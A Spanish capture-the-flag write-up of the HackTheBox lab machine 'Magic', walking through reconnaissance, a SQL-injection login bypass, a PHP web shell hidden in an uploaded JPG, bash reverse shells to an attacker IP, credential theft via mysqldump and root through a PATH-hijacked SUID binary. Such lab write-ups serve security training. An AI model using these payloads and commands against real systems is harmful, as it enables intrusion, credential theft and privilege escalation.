HackTheBox - Magic

Reconocimiento
El escaneo inicial con nmap muestra los puertos 22 y 80 abiertos:
# Nmap 7.94SVN scan initiated Mon Oct 21 11:51:56 2024 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN scan 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.10s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 80/tcp
┌──(root㉿kali)-[/home/noc/htb/magic/nmap]
└─# whatweb http://10.10.10.185
http://10.10.10.185 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.185], JQuery, Script, Title[Magic Portfolio]

Login redirige a /login.php:

Las credenciales por defecto, como admin/admin, no permiten acceder. Sin embargo, al probar una inyección SQL básica con ' or 1=1-- - y cualquier contraseña, es posible evitar la autenticación y obtener acceso al panel de inicio de sesión.
La inyección SQL ' or 1=1-- funciona porque manipula la consulta SQL que se ejecuta en el servidor. Por lo general, cuando ingresas un nombre de usuario y una contraseña, el sistema verifica las credenciales mediante una consulta SQL como:
SELECT * FROM usuarios WHERE username='admin' AND password='contraseña';
Al introducir ' or 1=1-- en el campo de nombre de usuario, la consulta cambia a:
SELECT * FROM usuarios WHERE username='' OR 1=1 -- AND password='cualquier_contraseña';
Lo que ocurre aquí es que la condición OR 1=1 siempre es verdadera (ya que 1=1 siempre se cumple). Esto significa que la verificación del nombre de usuario se vuelve irrelevante, ya que la parte OR hace que la consulta siempre devuelva resultados.
Además, el -- indica el inicio de un comentario en SQL, lo que hace que el resto de la consulta (incluyendo la verificación de la contraseña) sea ignorada. Es importante tener en cuenta que debe haber un espacio después de -- para que sea reconocido correctamente como comentario.
Como resultado, la base de datos devuelve la primera fila de la tabla de usuarios (generalmente la del administrador), y el acceso se concede sin necesidad de conocer la contraseña real.


Tras iniciar sesión, /upload.php tiene una funcionalidad para subir imágenes:

Las extensiones de archivo válidas son:

Tratando de subir una reverse shell en php cambiando la extensión .php a .php.jpg no funciona:

Shell como www-data
Se descarga un jpg cualquiera:

En mitad del jpg se inserta utilizando un editor como vi o nano el siguiente código: <?php system($_GET[cmd]); ?>


Pero no funciona, la página trata el archivo como una imagen y no como un archivo php, por lo que no ejecuta <?php system($_GET[cmd]); ?>.
Renombrando gato.jpg a gato.php.jpg:

Y accediendo a http://10.10.10.185/images/uploads/gato.php.jpg?cmd=id, se ejecuta:

Para obtener una shell: bash -c 'bash -i >%26 /dev/tcp/10.10.14.15/4444 0>%261' (hay que urlencodear los &)


Mejora de la TTY:
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <x> columns <y>
Listando los usuarios existentes:
www-data@magic:/var/www/Magic/images/uploads$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash
www-data –> theseus
En /var/www/Magic, db.php5 parece tener credenciales de una base de datos:
www-data@magic:/var/www/Magic$ cat db.php5
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
No se puede utilizar mysql, pero hay otras utilidades disponibles:
www-data@magic:/var/www/Magic$ mysql
Command 'mysql' not found, but can be installed with:
apt install mysql-client-core-5.7
apt install mariadb-client-core-10.1
Ask your administrator to install one of them.
www-data@magic:/var/www/Magic$ mysql
mysql_config_editor mysql_plugin mysql_tzinfo_to_sql mysqlanalyze mysqld mysqldump mysqloptimize mysqlreport
mysql_embedded mysql_secure_installation mysql_upgrade mysqlbinlog mysqld_multi mysqldumpslow mysqlpump mysqlshow
mysql_install_db mysql_ssl_rsa_setup mysqladmin mysqlcheck mysqld_safe mysqlimport mysqlrepair mysqlslap
mysqldump hace una copia de seguridad de la base de datos, obteniendo así nuevas credenciales:
www-data@magic:/var/www/Magic$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database: Magic
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2024-10-21 13:18:09
Th3s3usW4sK1ng resulta ser la contraseña del usuario theseus:
www-data@magic:/var/www/Magic$ su theseus
Password:
theseus@magic:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
theseus –> root
Con linpeas.sh se ve que /bin/sysinfo tiene el bit SUID activado:

theseus@magic:/tmp$ ls -la /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
El binario /bin/sysinfo realiza un diagnóstico del sistema, incluyendo detalles de hardware, discos, CPU y uso de memoria.
theseus@magic:/var/www/Magic/images/uploads$ strings /bin/sysinfo
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNSt13runtime_errorC1EPKc
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
__cxa_allocate_exception
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZNSt8ios_base4InitC1Ev
_ZTISt13runtime_error
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
__cxa_throw
_ZNSt13runtime_errorD1Ev
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
__cxa_free_exception
_ZSt4cout
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
libgcc_s.so.1
_Unwind_Resume
libc.so.6
setuid
__stack_chk_fail
popen
fgets
__cxa_atexit
pclose
__cxa_finalize
setgid
__libc_start_main
GCC_3.0
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
GLIBC_2.4
GLIBC_2.2.5
%z!
%r!
%j!
%b!
%Z!
%R!
%J!
%B!
%:!
%2!
%*!
=Q!
=O
ATSH
[A\]
ATSH
[A\]
ATSH
[A\]
AWAVI
AUATL
[]A\A]A^A_
popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
Algunos comandos están siendo ejecutados con binarios de manera relativa, es decir, sin la ruta absoluta, como en el caso de fdisk -l. El binario /bin/sysinfo tiene el bit SUID activado, lo que permite que sea ejecutado con privilegios de root. Esto abre una posibilidad de escalar privilegios mediante la manipulación del PATH, aprovechando el hecho de que el sistema está buscando los binarios en los directorios definidos en la variable de entorno PATH.
El objetivo es que, al ejecutar sysinfo, se utilice un archivo fdisk malicioso, previamente inyectado en el PATH, que nos otorgue una shell con privilegios de root.
theseus@magic:/var/www/Magic/images/uploads$ which fdisk
/sbin/fdisk
theseus@magic:/var/www/Magic/images/uploads$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
theseus@magic:/var/www/Magic/images/uploads$ cd /tmp
theseus@magic:/tmp$ touch fdisk
theseus@magic:/tmp$ nano fdisk
theseus@magic:/tmp$ cat fdisk
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.15/4444 0>&1
theseus@magic:/tmp$ chmod +x fdisk
theseus@magic:/tmp$ export PATH=/tmp:$PATH
theseus@magic:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Al ejecutar de nuevo /bin/sysinfo se consigue que el sistema ejecute nuestro archivo fdisk malicioso, obteniendo así una shell de root.
theseus@magic:/tmp$ sysinfo






